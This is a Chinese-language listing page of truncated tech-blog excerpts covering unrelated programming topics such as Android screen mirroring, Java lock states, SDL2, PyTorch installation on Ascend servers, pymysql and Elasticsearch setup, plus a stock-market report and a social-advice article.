實現 Android 異屏同顯(多個屏幕顯示同樣的畫面)可以通過多種方法來完成,具體實現方式會根據你的需求和設備的支持情況有所不同。以下是幾種常見的方法: 方法 1:使用 Cast SDK 如果你想要將內容投屏到智能電視或其他支持 Cast 的設備上,可以使用 Google Cast SDK。 主…

Unity 集成 FMOD 音頻管理插件 2.02

Unity 集成 FMOD 音頻管理插件 2.02 3. 集成教程&#xff1a;3.1 設置Unity項目3.2 設置FMOD項目3.3 設置 FMOD for Unity3.4 添加聲音&#xff1a;卡丁車引擎3.5 添加聲音&#xff1a;氛圍3.6 添加聲音&#xff1a;音樂3.7 刪除現有音頻3.8 下一步 10. 腳本 API 參考10.1 基礎…

Java鎖的四種狀態(無鎖、偏向級鎖、輕量級鎖、重量級鎖)

介紹 首先&#xff0c;我們需要明確一點&#xff1a;偏向級鎖、輕量級鎖、重量級鎖只針對synchronized 鎖的狀態總共有四種&#xff0c;級別由低到高依次為&#xff1a;無鎖、偏向鎖、輕量級鎖、重量級鎖。 這四種鎖狀態分別代表什么&#xff0c;為什么會有鎖升級&#xff…

在UI界面中實現3d人物展示

簡要原理(設置雙攝像機): 為需要展示的3D人物單獨設置一個攝像機(只設置為渲染人物層級),主要攝像機的方向與人物方向一致,但攝像機需要需要旋轉180,設置的角度自行進行微調創建一個Render Texture類型的組件用于存儲攝像機渲染的內容UI上設置需要展示的圖片區域,圖片…

遍歷目錄

自學python如何成為大佬(目錄):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 遍歷在漢語中的意思是全部走遍&#xff0c;到處周游。在Python中&#xff0c;遍歷是將指定的目錄下的全部目錄&#xff08;包括子目錄&#xff09;及…

聰明人社交的基本順序:千萬別搞反了,越早明白越好

聰明人社交的基本順序&#xff1a;千萬別搞反了&#xff0c;越早明白越好 國學文化 德魯克博雅管理 2024-03-27 17:00 作者&#xff1a;方小格 來源&#xff1a;國學文化&#xff08;gxwh001&#xff09; 導語 比一個好的圈子更重要的&#xff0c;是自己優質的能力。 唐詩宋…

【重學C語言】十九、SDL2 圖形化編程的使用

【重學C語言】十九、SDL2 圖形化編程的使用 SDL2 的第一個程序渲染器紋理渲染1. 紋理的概念2. 加載紋理3. 渲染紋理4. 紋理設置和查詢5. 紋理渲染流程6. 注意事項SDL2_imageSDL2 的第一個程序 #define SDL_MAIN_HANDLED #include <SDL.h>int main(int argc, char* argv[…

AH股高開低走,創業板跌超2%,寧德時代下挫6%,微盤股指數反彈超5%

創業板跌2%&#xff0c;權重股寧德時代跌近6%&#xff1b;地產、光刻機概念股逆勢大漲&#xff1b;券商股午后集體下跌&#xff0c;天風證券一度跌停。微盤股指數經歷連跌后早盤反彈超5%。 內容提要 周五&#xff0c;A股高開后回落&#xff0c;午盤震蕩回升。截至收盤&#x…

python-Bert(谷歌非官方產品)模型基礎筆記0.1.096

python-bert模型基礎筆記0.1.015 TODOLIST官網中的微調樣例代碼Bert模型的微調限制Bert的適合的場景Bert多語言和中文模型Bert模型兩大類官方建議模型Bert模型中名字的含義Bert模型包含的文件Bert系列模型參數介紹微調與遷移學習區別Bert微調的方式Pre-training和Fine-tuning區…

Python可視化 | 使用matplotlib繪制面積圖示例

面積圖是數據可視化中的一個有效工具&#xff0c;用于說明時間上的關系和趨勢。它們提供了一種全面的、視覺上迷人的方法&#xff0c;通過熟練地將折線圖的可讀性與填充區域的吸引力相結合來呈現數值數據。 在本文中&#xff0c;我們將學習更多關于在Python中創建面積折線圖的…

【python】python指南(二):命令行參數解析器ArgumentParser

一、引言 對于算法工程師來說&#xff0c;語言從來都不是關鍵&#xff0c;關鍵是快速學習以及解決問題的能力。大學的時候參加ACM/ICPC一直使用的是C語言&#xff0c;實習的時候做一個算法策略后臺用的是php&#xff0c;畢業后做策略算法開發&#xff0c;因為要用spark&#x…

24考研408大變化,25考研高分上岸規劃+應對策略

巧了&#xff0c;我有現成的經驗&#xff1a; 數學和專業課的成績都不高不低&#xff0c;剛好夠用&#xff0c;其實408想上岸&#xff0c;不僅僅要學好408&#xff0c;還要學好考研數學&#xff0c;這是我的肺腑之言&#xff0c;我復試的時候&#xff0c;我知道的那些沒有進復試…

高通SDX12:Voice Over USB 功能調試

一、功能概述及使用環境 Linux PC 作為上位機,內置 SLIC基于高通 SDX12 平臺的設備作為從設備,通過USB連接到 Linux PC 上,在 PC 上枚舉 UAC 設備從設備進行 MO/MT Call 時,上位機使用 arecord 進行錄音,音頻數據通過 USB 傳至上位機,上位機停止錄音后再使用 aplay 進行播…

vue element 接口返回數據與控制臺打印數據不一致 踩坑

問題描述&#xff1a; 接口返回數據正常&#xff0c;&#xff0c;控制臺打印不對&#xff0c;element el-switch表格中使用&#xff0c;控制臺打印數據被改變 如下正常數據 數據id 17狀態是0 控制臺打印狀態卻是1 造成原因&#xff1a; element el-seitch組件修改了狀態 修…

解決方案:昇騰aarch64服務器安裝CUDA+GCC+CMake,編譯安裝Pytorch,華為昇騰HPC服務器深度學習環境安裝全流程

目錄 一、安裝CUDA和cudnn1.1、下載CUDA驅動1.2、安裝CUDA驅動1.3、配置環境變量1.4、安裝cudnn1.5、安裝magma-cuda 二、安裝gcc編譯器三、安裝CMake四、安裝NCCL五、編譯安裝Pytorch5.1、前提準備5.2、下載pytorch源碼5.3、配置環境變量5.4、Pytorch編譯安裝5.5、測試Pytorch…

Python教程:Python操作MySQL基礎使用

8、Python操作MySQL基礎使用 8.1 安裝pymysql pip install pymysql8.2 測試連接 測試代碼 from pymysql import Connection# 獲取到MySQL數據庫的鏈接對象 conn Connection(# 主機名hostlocalhost,# 端口號,默認3306port3306,# 賬戶名userroot,# 密碼password3535 )# 打印…

日志分析集群最新版

日志分析集群-8版本 作者&#xff1a;行癲&#xff08;盜版必究&#xff09; 第一部分&#xff1a;Elasticsearch 一&#xff1a;環境準備 1.簡介 ? 部署模式&#xff1a;es集群采用無主模式 ? es版本&#xff1a;8.13.4 ? jdk版本&#xff1a;使用es內嵌的jdk21&#x…

GAT1399協議分析(10)--單圖像刪除

一、官方接口 由于批量刪除的接口&#xff0c;圖像只能單獨刪除。 二、wireshark實例 這個接口比較簡單&#xff0c;調用request delete即可 文本化&#xff1a; DELETE /VIID/Images/34078100001190001002012024060513561300065 HTTP/1.1 Host: 10.0.201.56:31400 User-Age…

【sklearn】【邏輯回歸1】

學習筆記來自&#xff1a; 所用的庫和版本大家參考&#xff1a; Python 3.7.1Scikit-learn 0.20.1 Numpy 1.15.4, Pandas 0.23.4, Matplotlib 3.0.2, SciPy 1.1.0 1 概述 1.1 名為“回歸”的分類器 在過去的四周中&#xff0c;我們接觸了不少帶“回歸”二字的算法&#xf…

生物神經網絡 原理分析研讀02

可能有用基礎介紹 人類交互1 大腦視覺的處理過程 人類交互2 聽覺處理和語言中樞 人類交互3 皮膚感覺與運動系統 人類交互4 感覺輸入和運動輸出 人類交互5 大腦信號編碼與解碼 相關材料分析研讀 當前為了實現人工智能的兩個主流技術是深度學習和類腦計算&#xff0c;深度學習…